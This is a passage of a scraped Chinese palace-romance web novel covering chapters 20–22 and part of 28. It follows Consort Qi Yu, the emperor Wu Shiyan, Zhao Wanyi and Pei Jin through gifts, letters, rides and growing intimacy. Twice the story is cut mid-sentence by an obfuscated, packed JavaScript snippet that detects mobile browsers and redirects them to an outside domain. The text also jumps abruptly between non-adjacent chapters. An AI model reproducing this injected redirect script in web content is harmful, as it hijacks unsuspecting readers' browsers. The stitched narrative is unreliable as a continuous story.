只是想想戚妤纤长柔荑轻抚他的身体,心里便泛起激动。 乌时晏曾经以为他是喜欢赵婉仪的,可他对赵婉仪从不会这样失态,他只觉得那样紧密关注便是喜欢,便觉得要得到。 可细细想来,他并未真切付出什么,连一块玉都没雕出来送出去。 但现在,他却想戚妤来玩他。 心底有了真正的渴求,不再是毫无欲态的一尊冰人。 这种情绪对乌时晏来说无疑是陌生的,可他现在这样卑劣的想着念着,在骨头随着孟舍拔针的动作开始剧烈疼起来时,他却好受了不少。 另一边,戚妤一夜无梦。 第二天清晨,上次她派去京中买鸟禽的下人回来了,因为辗转了几个地方,这才用了两日。 下人带回来的是只鹦鹉。 “娘娘,这不是只普通鹦鹉,而是只聪明会学舌的鹦鹉。” 哪个鹦鹉不学舌?戚妤瞧了两眼,并未放在心上,她原想买的是漂亮的鸟,但这只鹦鹉虽然很漂亮,羽色从脑袋上的橙红渐变到尾羽的幽蓝,色泽鲜亮,毛茸茸的触感,但她怕会吵到赵婉仪。 换到新环境的鹦鹉跳着脚左右看了看,开口道:“娘娘吉祥!娘娘吉祥!” 下人讪笑着挠了挠头。 戚妤挑眉,留下了鹦鹉,在室内教会了它说夫人好,这才给赵婉仪送去。 赵婉仪见到这只鹦鹉,旁边还有一个带着温软笑意的戚妤,困惑地眨了眨眼。 戚妤道:“听说你喜欢喂鸟,但庄子上没有鸟,这才晚了两日。若是不喜欢这只鹦鹉,本宫再让人去寻。” “夫人好!夫人好!” 戚妤赞赏地看向鹦鹉。 赵婉仪唇边漾起笑意:“臣妇很喜欢这只漂亮的小家伙。” 戚妤将装鹦鹉的笼子递给赵婉仪,自己也顺理成章留了下来。 今日下午裴府的马车就会来接赵婉仪,戚妤准备趁着这段时间来温故知新一遍。 赵婉仪仍在侍弄花草,间或给鹦鹉喂了食。 阳光洒在她身上,驱散了她身上的一点幽冷味道。 戚妤坐在窗下,正大光明看她。 赵婉仪察觉到戚妤的视线,也只是顿了一下,带着微微纵容,继续弄花填土。 20. 第 20 章 裴谨下午便马不停蹄来接人了,戚妤将打好的发簪送给赵婉仪。 赵婉仪从中挑出一个,顺手换下头上的那支暗器簪子,然后才从院中走出来。 裴谨低眉道:“贵妃娘娘。” 戚妤略略颔首,宫人将赵婉仪的东西放上马车。 戚妤问:“裴大人,关于山上的匪徒可有什么进展?” 赵婉仪亦竖起了耳朵。 裴谨的说法没什么差异,说在山上寻到了一行人的脚印,已经盖棺定论是仇杀。 赵婉仪闻言将提起的心放下。 戚妤自也不会揪住此事不放,目送赵婉仪登上马车,便折返回主院。 马车往京城驶去。 马车上,裴谨扫了一眼赵婉仪的发髻:“你原本的发簪呢?” “收到匣子里了,这支是贵妃娘娘送的,漂亮吧?”赵婉仪用手指摸了摸鹦鹉。 裴谨自知验证不了原本那支发簪的问题,见此道:“这只鹦鹉也是贵妃娘娘送的?” 赵婉仪:“自然。” “她是你妹妹?”最后两个字裴谨只做了个口型,为了防着暗卫。 赵婉仪满是阴霾地摇了摇头。 裴谨脱口而出:“怎么可能?” 不是贵妃,还能是谁? 他和赵婉仪不可能同时认错。 戚妤回了主院,当晚就收到了乌时云送来的膳食。 翌日一早,她又收到了赵婉仪送来的一只鸽子和京中酥香记的一盒点心。 鸽子是通信用的,裴府的下人说这是夫人养的信鸽,需要时将它放飞即可,它认得回裴府的路。 而酥香记是京中有名的点心铺子,每日供不应求,要想买到得一早就去排队。 常是官员府邸中,客人来拜访时摆出来的糕点。 戚妤这盒点心,像是刚出炉便送过来了,酥酥脆脆。 乌时云到戚妤的山庄,便见到了摆出来的点心,疑惑问:“皇嫂,您怎么有酥香记的点心?” 她是公主,再难得的点心都不算什么,她刚出宫建府时连吃了一个月,足见这东西的好吃。 可皇嫂这里有,定是旁人送的。 谁又能越过皇兄来觊觎皇嫂? 戚妤安置好鸽子,叮嘱小金不能捉鸟,闻言道:“是赵夫人,她昨日刚走,今早便派人给我送来了东西。” 乌时云呐呐没了声。 她知道自己是个墙头草左右摇摆不太好,但谁能想到皇兄比她还能摇摆不定呢。 李昌告诉她皇兄喜欢裴夫人,她观察过后果然发觉了。 譬如裴夫人进宫陪太后,皇兄那日必会去长信殿。 所以出宫后她便试图亲近裴夫人,可惜,无论她怎么示好,裴夫人对她总是不远不近,心底藏着戒备。 后来她听说皇兄将马送到皇庄,又对皇庄进行修缮,之后戚妤又前往皇庄短住。 皇兄为谁费的心思简直显而易见,加上她又在赵婉仪那里碰了一鼻子灰,她身为公主纵使再亲和也绝不是好性儿的,便抛却了李昌的叮嘱,转投在了戚妤这里。 皇嫂只当她是个小姑娘,并不排斥她。 可乌时云没想到,最不可能见面并和平共处的两人几乎处成了手帕之交。 那样子,仿佛比她和皇嫂的关系还要亲近。 乌时云压下心中的酸涩妒意,笑道:“皇嫂,我们去骑马吧。” “好,我去换身衣服。”戚妤干脆利落应下。 这次她们不去那个山了,换了个相反的方向。 这条路较为平坦,山坡上开满了花,还有一条小溪从中流过,马踏过溪流中间的石头上便可通过。 她们这次跑的有点远了,便就地停下歇息。 侍卫去找柴,并给她们俩修出了锋利的棍子。 戚妤拿着棍子去溪边扎鱼,乌时云则撂开棍子,走向方才经过的花田。 能在宫中做侍卫,不仅出身得好,武艺高,自身也得会点技艺。 戚妤运用学过的知识一连扎中了八九条鱼。 侍卫则坐下将鱼处理干净,放到火堆上炙烤。 这时,乌时云也回来了,抱了好多花,交给她的侍女霜枝编成花环。 乌时云给自己戴了一个,又挑了一个最漂亮的放到戚妤头上。 等鱼烤好后,众人再分吃了,捣灭火堆,这才准备回去。 回去自然又耗费了很长时间,但在沧澜山庄前见到乌时晏,众人一扫一日游玩下来的疲惫。 纷纷下马行礼。 戚妤下了马,小跑到乌时晏身边,脸上出了汗都未发觉。 乌时晏的目光落到戚妤头上的花环上。 她今天的穿着很简单,因为要骑马,袖子并不宽大,腰部也没有过多的玉饰,只挂着一只香囊。 头上的花环是点睛之笔,一下子弥补了衣裳不够奢华的不足,更多了生机野趣。 她眉眼舒展,脸上未施粉黛,眼中神采奕奕,顾盼间的灵动让人止不住将目光落到她身上。 乌时晏对众人道了声平身。 戚妤问:“陛下,您怎么不去主院?” 乌时晏掏出帕子递给戚妤:“在等你。” 戚妤接过帕子,点了点额头、面颊和脖子,随乌时晏一起往主院走去。 她带着歉意道:“臣妾回来迟了。” “不迟。”乌时晏低声问,“朕今晚可以留下来吗?” 回来的正好。接近日暮,现在回宫,宫门都要落锁了,虽他是皇帝,但在这件事也不愿横生枝节。 他连留下来的理由都不必找。 果然,戚妤看了眼天色便明白了,她浅笑道:“这里陛下的皇庄,自然可以留下。” 她停顿了一下:“主院的床很大。” 戚妤在暗示即便中间隔条被子都能睡得下两个人,不必让其中一人去打地铺。 但跟着进来,正后悔没趁机溜走的乌时云则恨不得捂住耳朵。 皇兄皇嫂,她还是个连驸马都没有公主! 即便知道戚妤是什么意思的乌时晏,也因这句话而隐秘的勾起了唇。 回到归鹤院,戚妤先去换了一件衣裳。 乌时晏坐在主位,看向乌时云,带着淡淡的帝威。 乌时云没扛住,没等戚妤出来留她用膳她便先开口告退了,而后如蒙大赦般离开。 乌时云离开后,乌时晏一回头,对上了一双眼。 是条黄毛小狗。 宫人将它抱起来,它吐着舌头摇着尾巴,爪子扒着宫人的胳膊。 乌时晏走向院子的角落,又发现了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127946|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只鸽子。 乌时晏:? 他显而易见被困扰住了。 这时,戚妤走了出来,见到小金便将它接到了怀里,揉了揉它,温柔道:“陛下,它叫小金,是云平送给臣妾的一只小狗。” 小金趴在戚妤怀里更乖了,用一双水润润的狗狗眼可怜地看向乌时晏。 乌时晏无动于衷,接过小狗把它放到地上,不着痕迹地将戚妤带回屋内。 小狗都可以,他却得掌握着分寸以免吓到了她。 戚妤让人上膳,两人用过膳后便分开去沐浴了。 乌时晏沐浴稍快,在戚妤回来时已经坐在床上拿着一本书在看,衣襟微敞,露出宽大锁骨。 戚妤穿着乳白色的寝衣,衬得她肌肤赛雪。 青丝如瀑铺在身后,她将绣鞋脱下,上床绕过乌时晏,乖巧躺在了床里,身上盖着薄被。 屋内有冰鉴,不用担心热着。 戚妤看向乌时晏,眼中纯然。 乌时晏低头道:“朕待会儿再睡。” 戚妤轻点头,便闭上了眼。 有乌时晏在挡着烛光,她睡时也不会太晃眼。 将要睡着时,戚妤忽然想起,赵婉仪刚走,乌时晏才来,他不就晚了一步吗? 她挣扎着想起身告诉乌时晏,却因白天的奔波,身体很疲乏,最终抵不过昏沉的睡意,没能睁开眼。 确定戚妤睡熟后,乌时晏起身,唤宫人道:“将冰鉴撤了。” 而后才熄灯回到床上。 没一会儿,没了凉意的戚妤便皱了皱眉,她贪凉。 乌时晏眼底冰雪消融,将自己送了过去。 戚妤梦到自己趴在一座冰山上,冰石嶙峋沁凉,她忍不住往上贴了贴。 - 戚妤醒来时,怎么也想不到自己会躺在乌时晏的胳膊上,手伸进他的衣襟里,看样子,手还分外不老实。 因为透过散开的衣襟,便能看到淡淡的红痕。 在那身苍白的肌肤上格外明显。 也让她看清了乌时晏大骨架,修长瘦削身体上紧实有弹性的肌肉。 不愧是习武之人。 戚妤愣住了,良久才将手拿出来,将头移开,坐起来。手指上还残留着微凉的触感,脸颊因为肌肤相贴生了红痕。 而她此时也发现,乌时晏没有醒,他眼下带着淡淡青黑,似乎一宿未睡。 他长发凌乱地铺在床上,一只手还握着她的腰。 戚妤将他的大手移开,扫视一圈,看他们俩谁先犯界。 结果不太好,乌时晏还睡在靠床那边,她却蹭到了乌时晏身上。 她的被子不知道跑哪儿去了,乌时晏的被子虽然有一半被揉的不成样子,但另一半还很顺滑的盖在身上。 乌时晏的衣裳凌乱,而她的寝衣却好好穿在身上,没被动分毫。 戚妤有点懵,伸手拍在了额头上。 可恶,睡的太死,一点记忆都没有了。 明明什么都没享受,却好似什么都享受过了。 戚妤觉得自己被扣了一口大锅,即便种种迹象表明,是她蹭到了乌时晏身上,她一点都不冤。 可那又怎么样呢? 戚妤负气地想,即便乌时晏不情愿此事,她上手都上手了,什么也不会赔给他的! 21. 第 21 章 因为明显是自己理亏,戚妤没有一走了之,而是呆在床上,等乌时晏醒来,再看这件事怎么办。 期间她自然期许过乌时晏身上的痕迹消失的快些,这样她就可以试图当作什么都没发生过。 但不知道乌时晏喝过什么琼浆玉液,他的皮肤相当娇贵。 痕迹消失的速度很慢,以至于看到他腰侧横贯的伤疤都感到残忍。 真不知道他身上落下的疤痕是用了多长时间才好。 戚妤记得,乌时晏当初离京前,还是先皇最疼爱的皇子,因为是心爱女人所出,又长的像仙童一样,先皇经常带到身边教导,年长的皇子因此忌惮他。 即便彼时乌时晏表现出的能力很平庸,也无意于皇位,最终仍是被无数推手在他弱冠之年赶出了京师。 不到一年的时间,曾经金尊玉贵的皇子成了冷面杀神,他杀过多少人,身上的戾气就有多重,常让宫人不敢直视。 戚妤扭头看向乌时晏,心道,他当年果真有在藏拙。 五年过去,虽然京师已经重新恢复了安定繁荣,但在臣子心中,五年前的事恍若昨日一般。 因此常有人猜测,即便没有反王,凭着乌时晏的野心勃勃也会重新回来夺回皇位。 戚妤看着睡着后的乌时晏,也只有在此时他身上的乖戾阴鸷才淡了些,无怪乎别人会如此猜测了。 睡着后的乌时晏,薄唇都润了些。 他的睫毛纤长,没有翘起的痕迹,像一把小扇子,扫出一片极淡的阴影。 也更衬得他面如雕刻,棱角分明。 戚妤等了乌时晏一个时辰,他才转醒。 同时陛下到庄子上的第一晚,宫人默契地没有按照戚妤往常起身的时辰进来服侍。 乌时晏甫一睁眼,便对上了戚妤不加掩饰的视线。 这确是她能干出来的事。 乌时晏半起身:“怎么了?” 戚妤瘪了瘪嘴,委婉道:“不知道谁把冰鉴撤了,臣妾冒犯了陛下的圣体。” 虽说着不知道,但带有小情绪的眼神却笃定地落在乌时晏身上。 她怕热,乌时晏惧冷,是谁吩咐人撤的自然不用想。 乌时晏低头,掩了掩衣襟,明媚的晨光落到他的侧脸上,他道:“是朕让人撤的。” 他须臾又道:“不怪你。” 戚妤委屈的模样一扫而空,唇角微翘,但见着乌时晏这般态度,她没由来有些心虚。 于是转移话题道:“赵夫人前日从庄子上离开,不过她给臣妾留了只信鸽,陛下可要看看?” 糕点不能久留,她尝过之后没留多久就分给下人了,当下自不会提。 乌时晏:“以后赵婉仪的事不必跟朕说。” 戚妤纳闷地点了点头。 可能妃子在床上和他提起这些事确实有些奇怪。 戚妤不纠结,眨巴着眼道:“陛下,我们起身吗?” 乌时晏颔首。 待起身用过膳,戚妤便去了书房,怀着一些愧疚,她给赵婉仪写了封信,关心她回府的日子,由信鸽送回去。 晚上,赵婉仪回信便到了,她说她去了医馆,里面的孙缨孙大夫帮她看了旧疾,并开了几副药,药很苦,但有月鹭的闲话家常不知不觉竟喝完了。 末了问戚妤在庄子上在做什么。 收到信的戚妤第二日自然又给赵婉仪回了一封信。 一来二去,戚妤之后就这么和赵婉仪联络了起来。 而乌时晏,那日没走,两人白天在庄子上的溪边钓鱼,在假山后面烤鱼,又去捉了只鸡添菜,挖出了庄子上不知何时埋的酒。 将酒打开后醇香四溢,戚妤光是闻着就要醉倒了。 酒足饭饱后,天也暗了,乌时晏自是没走成。 晚上,戚妤躺在床上,暗自警惕,错事犯一次就够了,绝不可以有第二次。 恰在此时,乌时晏冷冽的气息忽然而至,托起了她的后脑勺,将他的唇印在了心心念念的唇瓣上。 啧啧的吻声在床塌间响起。 明明声音很小很轻,落在戚妤的耳中却不亚于惊雷。 她眼睛睁的圆溜,原本因乌时晏靠过来而飘起的发丝重新落到她的脸颊上,带着微微的痒。 戚妤的感官被放大,她听到了心脏咚咚声,烛芯噼啪声,也闻到了乌时晏身上极淡的酒气。 她微微仰头,呼吸喷薄在了因此而松嘴的乌时晏的肌肤上。 戚妤道:“陛下,我是戚妤。” 如果乌时晏是把她认错,才忍不住吻了她,她光是想想就很生气。 这样的话,她也要借着几乎称不上借口的酒劲儿做些混账事了。 戚妤看向乌时晏,他乌黑的眼瞳中清晰倒映出她此时的模样。 骄矜气盛。 明明说着最柔软不过的话,面上却一点都不柔腻。 “朕知道。” “唉?” 戚妤这个疑惑不成语调,因为她又被吻了。 她心脏收紧,手抵着床,却没强硬拒绝,只觉得身上没了力气。 乌时晏无疑是没经验的,他只是在亲,连舔吻都不会,实在是太青涩了。 戚妤没忍住,舔了下他的薄唇,分开了他的唇齿,然后才退了出来。 乌时晏很明显地顿了一下,而后一点就透开始了深吻。 戚妤觉得自己吃了个八爪鱼,旁人是抵死缠绵,他们是抵死亲吻。 乌时晏的牙齿都撞在了她的唇上,还在按着她的后脑勺贴近。 他跪在了床上,深深俯身,若此时在床外看,定能看到乌时晏穿着白色寝衣,却颇有张力的宽阔脊背,与被遮挡严实的她。 戚妤轻轻闭上了眼,她是一个年轻女子,早上见到了乌时晏衣襟下的风光,现在他还来撩拨她,她自也会情难自禁。 要说喜欢,却没多少,全凭着身体上的本能冲动去回应。 不知过了多久,乌时晏终于将薄唇移到了戚妤的下巴上,而后落到她的脖颈处。 戚妤半阖着眼,湿热的眼神落到乌时晏的侧脸上,这无疑是鼓励,乌时晏蹭吻着她的脖子。 可没等他进一步动作,便发现戚妤歪进他的怀里,竟然累到睡着了。 乌时晏无声笑了一下,他将人完全搂进怀里,躺下,而后亲了亲戚妤头顶的发丝。他正好能帮她挡住烛光,便没多余管蜡烛。 他不舍得放开戚妤。 蜡烛燃烧了一整夜,直至柔和的晨光照进屋内,才尽到最后一丝使命燃尽。 戚妤醒来后没有见到乌时晏。 今日他有早朝,天不亮就骑马回宫了,以至于连告别都没有。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127947|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 戚妤倒没有怨怼,她的样子称得上平和。 在照铜镜时,她蓦然发现脖子上落有两三个红印,并不严重,拿粉轻轻一遮就没了。 戚妤想到了昨晚,亲吻过后,她带着困意看了眼乌时晏,她觉得乌时晏应该能懂她的意思,所以这是在她睡着后又亲了她的脖子? 戚妤心中升起异样。 佩玖见到痕迹,却没有诧异。 在她心里,陛下和娘娘不睡才不正常,陛下也是普通男人,怎么可能没有欲求,放着这么一个大美人无动于衷? 戚妤去了书房练字,但今天心情怎么也平静不下来,以至于白白荒废了一早上,连一张字帖都没临完。 她无意识将笔杆贴到唇上,摆烂道:“这都什么事?” 撮合乌时晏与赵婉仪必然是不可能了,她说出来自己都觉得亏心,不如顺其发展。 剧情自有弹性,总归能重回正轨。 戚妤心态好,见练不出字,便去喂鱼。 乌时云是乌时晏离开的第二日方到,皇兄大老远来皇庄短住两日,她自然不会在戚妤还没恢复就来打扰。 宫中同时送来了玉石,伴着乌时晏的一张朝中政事繁忙的字条。 但这东西落在戚妤眼中,无疑是逃避的表现。 她索然无味地将纸条扔进了锦鲤池中,让人将玉石收了起来。 她自然没有傻到用玉来给锦鲤当鹅卵石。 乌时云唤道:“皇嫂。” 戚妤看向她:“骑马是吧,走吧。” 乌时云是乌时云,乌时晏是乌时晏,她自然不会迁怒。 戚妤坐在马背上疾驰,一口气将乌时云给超了。 乌时云神色认真,与戚妤追逐起来。 酣畅淋漓的追逐结束,戚妤的心态已经摆正了,她还去乌时云的庄子上坐了坐,喝了茶水。 乌时云给她说着京中时兴的花样,戚妤听着便已经心动起来。 当下便命人明日将京中绮罗坊的人请到庄子上,为她量体裁衣。 还有十几天便是七夕乞巧节,那日京城不会有宵禁,正好可以穿绮罗坊制的衣去。 宫中绣娘的手艺太过突出,叫人一眼就能看出是宫里出来的,自然不合时宜。 戚妤又收到了赵婉仪的信,信中提到她的院名为玉照,近两日她都在侍弄窗下的花草,鸽子飞回来时她也有给鸽子喂食,并表明鹦鹉“玉歌”真的很聪明,她很喜欢。 玉歌是赵婉仪给鹦鹉起的名字。 戚妤似是能从信中感受到赵婉仪身边一点一滴的琐事。 宫中。 乌时晏好不容易连轴转将朝政忙完,在下朝后刚想出宫,不妙的感觉让他止了步。 果然,下一刻,他再次不省人事。 龙床边,田文善疯狂催促萧从。 原以为这次和从前一样,没想到萧从却道:“解毒的花有消息了。” 他每次都是直禀给陛下,而以陛下和他的性子,自然不会透露太多。 田文善一怔,孟舍也猛地扭头。 田文善一边深恨萧从闷棍的性格,一边忍不住高兴起来,以至于整张脸都扭曲了。 孟舍倒很纯粹,踩了一脚萧从:“真是好小子!连我也不说!” 他可是大夫,懂不懂什么叫大夫! 22. 第 22 章 虽说解毒的破厄花有了消息,但采摘,快马加鞭运回来,最快也要到七月初九、初十。 期间陛下少说也要发病一次,但这不妨碍田文善与孟舍振奋起来。 吊在眼前的胡萝卜它终于有形了! 等孟舍施完针,田文善与他出去,便激烈地讨论了起来,最终达成默契,只要破厄花一进京,便溶于水成药,不给中间丝毫波折迟缓的机会。 既然陛下不改喜欢裴夫人,那人选自然还是裴夫人,即便裴夫人再不情愿,到时木已成舟,也无可奈何。 且免了陛下犹豫不决的时间。 早夺臣妻,晚夺臣妻又有什么区别? 当然,他们或许少不了一顿责罚,但只要社稷稳固,陛下无恙,区区责罚,便是死也甘受了。 孟舍问:“陛下确实仍喜欢裴夫人?” 田文善笃定道:“错不了!” 原本他看好的贵妃娘娘去了皇庄短住,少了与陛下接触不说,对陛下也是毫无进取之心,他自然熄了这层希望。 且陛下先前出了一次宫,他虽然没有随行,但除了枯坐着去见裴夫人,又能去哪儿? - 等乌时晏再次到庄子上时已经是两日后。 工匠给戚妤打了一个秋千,放在花园一角,旁边是挂满白色槐花的苍翠槐树,恰好形成一片阴凉地将秋千遮下,对面是花圃,轻轻荡起就可以将园内的奇花异草收入眼底。 戚妤正坐在秋千上,有一下没一下地点着地。 乌时晏没有让人通传,宫人在侧边引路,他走到秋千附近,一眼便看见了正歪头靠在秋千一端的戚妤。 她穿着一身天青色素面绸赏,因为料子单薄顺滑,衣袂飘飘,更衬得她腰肢不盈一握,身形纤瘦。 她的下巴略尖,乌时晏这时才发现,她好像比离宫时瘦了些,纵使唇色不点而红,脸颊透着淡淡的粉,也掩盖不住她瘦了的事实。 戚妤似有所觉抬眼,与匆匆而来的乌时晏对视上。 这个时辰,他应是刚下朝便赶来了。 戚妤起身,乌时晏旋即走过来,一只手扶住她的胳膊。 “陛下。”戚妤低头,温声道。 没看到戚妤满是笑意的眼睛,说实话,乌时晏很失望,他觉得,戚妤好像跟他生分了。 乌时晏道:“朕本想处理完朝政就来,可惜病倒了,又耽误了一番,以至于今日才来。” 他带着戚妤重新到秋千处。 戚妤抿了抿唇,病了却不知会她一声,可见对她只是相貌上的喜欢,所以出现在她面前就解释一句,几日不见的时间里就什么消息都不递给她。 让宫人到庄子上说一声很难吗? 不过乌时晏中毒十分紧要,她又不是他的心腹,或是心爱之人,不说给她也实属正常。 戚妤兴致缺缺:“臣妾知道了。” 戚妤的声音中没有丁点烦闷,乌时晏自然无从察觉出什么,他见她无聊,便提议道:“阿妤坐到秋千上,朕来推你。” 再次听到被唤阿妤,戚妤的心情相当奇妙。 最重要的是,乌时晏的语气是绝无仅有的温和,她点了点头,终于有了兴致:“要推得高一点!” “好。” 乌时晏绕到戚妤身后,他的手碰到戚妤的背部,将她推向高处,又在秋千往后落时,垫了一下以做缓冲,须臾又往前推去。 几次之后,戚妤终于展颜,笑意盈盈起来。 任谁被小意哄着都会高兴。 片刻后,戚妤让乌时晏停下,她托着下巴点着脸颊看向他。 现下气氛正好,若是寻常男子遇见稍微有些心动的姑娘,都该表明意思了。 她可不信乌时晏会陪她在这里荒废时间,玩哄小姑娘的把戏,而什么也不做。 乌时晏看着戚妤的眼睛,带起笑意道:“阿妤,朕给你吹首箫罢。” 他不好开口,便让箫声来倾诉衷肠。 乌时晏显然早有准备,他带来了一只竹箫,在戚妤表明想听后,便放到了唇边。 低沉绵长的箫声响起,戚妤坐在秋千上,倾耳听着。 好听。 她只觉得好听。 一曲终了,戚妤对上乌时晏隐隐期待的眼睛,不由握住了手指。 坏了,她于乐器上是个废柴,只能判断出悦耳不悦耳,嘶哑不嘶哑,根本听不出曲中的意思,更无法回应他。 好在不等戚妤纠结,乌时晏便放下箫,凑近,倾身,一个蜻蜓点水般的吻落到了她的额头上。 一触及离,他道:“这便是朕的意思。” 戚妤眨了眨眼,仍很茫然。 他在撩她? 这般想着,戚妤朝乌时晏点了点头,眼眸澄澈如水,很让人信服。 乌时晏抚了抚戚妤的发丝,微微一笑,在他看来,阿妤是个相当聪明的人,完全不用担心她会领悟不到他的意思。 他的箫声告诉阿妤,他心里唯有她。 他们心意相通,长长久久。 而阿妤也对他郑重地点了头,似在承诺什么,更是柔情蜜意地看向他,无声胜有声。 乌时晏拉着戚妤的手回主院,这里曾是他住过的地方,他自是熟悉,因此也知道庄子上从前亲手埋的酒在哪儿。 戚妤道:“陛下,你为我瞧瞧字吧,臣妾最近临摹的字总觉得毫无进益。” 不能进步无疑让人痛苦。 乌时晏应下,两人便去了书房。 戚妤将临摹过的字全拿出来,让乌时晏指导。 乌时晏于书法上的造诣很高,戚妤完全沉浸在了他低沉缓和的声音中,一个时辰转瞬从指尖流逝。 乌时晏不知道第几次看向戚妤,她低着头,微蹙眉,认真地落下每一笔,似乎旁边任何人或物都引不起她的注意。 在戚妤将最后一个字写完后,乌时晏抽出了她手中的毛笔,将纸张与砚台推向一旁,空出桌面的空间,而后把她抱坐在了桌子上。 虽然和她在一起干什么都很好,但他千里迢迢而来,不留一点痕迹再走,明天上朝他定会不甘心。 戚妤有些懵地看向乌时晏:“……有宫人。” 乌时晏拉起她的手搭到自己肩上:“朕早让人出去了。”

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只是用膳时罕见有些缄默,脸颊也飞染上了薄红,眸光盈盈,泛着光泽,美得不可方物。 乌时晏给戚妤布了好几次膳,她太瘦了,要多吃些。 而戚妤将他布的膳都无知无觉吃完了,乌时晏便也明白她心中的羞谨。 用过膳后,乌时晏截住戚妤:“跟朕回宫如何?” 戚妤不明白乌时晏为何提起这件事,明明暑气还没过去,于是便问出了口。 乌时晏道:“你怕热,但现在有朕,定不会让你热到分毫。” 况且宫中也有足量的冰,当初让戚妤来皇庄短住,不过是因为庄子上有趣的东西多,她会喜欢。 如今玩儿也玩儿尽兴了,是时候回宫了。 最重要的是,他贪恋她,不想放她太远。 戚妤自然不会同意,宫里哪有庄子上好,更何况她还有乌时云这个志同道合的人在,她才不会轻易回宫。 她道:“可臣妾还要在乞巧节约人一起逛京城,住在庄子上总归方便些,不如七夕过后,暑气消散,再回宫也不迟?” 戚妤温软地看向他。 乌时晏眼神暗了暗,终是摸了摸她的头,同意了。 下午,戚妤与乌时晏将时间消磨在榻上,什么都没干,只是吻了吻,亲了亲,戚妤就困了起来,贴着乌时晏便睡了。 嘴里嘟囔着手感啊,凉爽啊,很快睡熟过去。 乌时晏无奈,头一次发现自己比常人凉的体温有这么大的作用。 他用额头贴了贴戚妤的额头,用脸颊贴了贴她的脸颊,方心满意足。 他今晚亦不会动她,他的经验太浅,害怕伤到她,与其生涩难行,还要阿妤来帮着他引着他,不如从画册上攒足了经验,待到回宫再真正将人拥入怀中。 28-30 第28章 在戚妤的那行泪落下来之前, 裴谨便意识到今天他不该逼迫她的。 他眼前不由勾勒出戚妤孤坐在书房寂寥无边的背影,一夜之间,她的生活天翻地覆。 醒来身子便病了,周围是把她当成裴夫人的丫鬟, 旁边站着一个他, 她迷茫又警惕, 宫中的态度又是那样的不闻不问, 推着她让她将错就错认下裴夫人这个身份。 但枯坐在书房的她又在想什么呢? 必然是懊悔与愧疚, 在他逼迫她对他唤出裴郎时, 心中绷紧的那根弦彻底断裂, 身体熬到了极限,就那么昏了过去。 无人注意到她穿得单薄,无人注意到她生病了不应该在书房久待,而应卧床静养。 戚妤眼角的泪滑下来, 浸入发中,不过片刻就消失的无影无踪, 只留下一道泪痕。 裴谨愧疚的无以复加, 他嘴唇微张:“这不是你的错。” 是他救错了人才让戚妤陷入了左右为难的境地。 是他满腹怀疑让戚妤承受了巨大的心理压力。 是他逼了她两次, 迫使她不得不开口唤他裴郎。 即便裴谨心知肚明他和赵婉仪不过是假夫妻, 但戚妤不知道。 她被蒙在鼓里,对于她来说, 这声裴郎堪称背德。 药很快熬好,裴谨将药接过来:“我来就好。” 孟舍将药交给了裴谨, 便避开了喂药这一幕。 他并未将破厄花混入药中, 害怕药性相冲,好在他作为裴夫人的大夫,之后有的是机会。 裴谨单手端着药, 坐在床榻边,另一只手则将戚妤扶起来。 但戚妤还昏睡着,身子不自觉往另一个方向歪去。 裴谨顾不得男女大防与身份尊卑,让她靠进自己怀里,而后用勺子抵开戚妤的贝齿一点点给她喂药。 裴谨本就是个耐性极好的人,加上心中有愧,每每有药溢出时,他都贴心用帕子擦掉,然后继续喂。 戚妤无意识抿着唇他也不恼,而是慢慢等着她松懈的时候再趁机喂进去。 一碗药,硬是断断续续喂了小半个时辰。 末了裴谨又去问孟舍:“一些药汁没喂进去,沾到了帕子上,还需要再熬小半碗吗?” 孟舍道:“不需要了,我用一颗药材熬了碗汁水,你喂她喝了,有助于祛寒。女子落水,最伤的便是寒气留在身体里,容易子嗣艰难。” 裴谨怔了一下:“好,多谢孟大夫。” 孟舍摸着翘起的胡子道:“应当的,不必谢。” 直至裴谨转身去床榻那里,孟舍眼底这才流露了几分心虚。 裴谨这孩子他也见过几面,也听闻是个痴情种,身边只有一个裴夫人,多好的才子佳人,但没办法,谁让陛下才是最重要的呢。 到了床榻边,裴谨重新将戚妤扶起来喂药。 他想到方才孟大夫说的子嗣之事,心里默默承诺道,若是戚妤再遇良人,有了孩子,他定好好庇佑他们。 将这碗药也喂完后,裴谨扶戚妤躺下,又让人去找了一个丫鬟来给戚妤换身衣裳。 戚妤夜里会发汗,若不换上寝衣再睡,会很难受。 这晚,裴谨一直呆在蘅芜院,守在床榻边,外间只留了一个烧水添水的丫鬟,灯灭了几盏,不用担心睡得不安稳。 裴谨目光落在锦被上,一有动静,他才会去看戚妤。 他也是夜深人静才反应过来一直盯着她脸庞看有多于礼不合。 夜半,戚妤开始感觉到冷,她汗如雨下,浸湿了床榻和锦被,但她仍然觉得不暖和。 裴谨见此,从柜子中取出两床被子,给戚妤盖好,而后用手帕,帮她擦掉汗珠。 戚妤朝裴谨的方向侧了侧。 暖和是暖和了,但汗水浸湿的黏腻让戚妤总忍不住将胳膊伸出来。 裴谨则不厌其烦地将她的手放回去,掖好被子,轻轻拍了拍她的背。 直至外面晨光熹微,戚妤已经睡熟,身上的温度也降了下来,裴谨这才让丫鬟进来陪着戚妤,他去耳房补觉。 戚妤醒来后,只见到了一个小丫鬟。 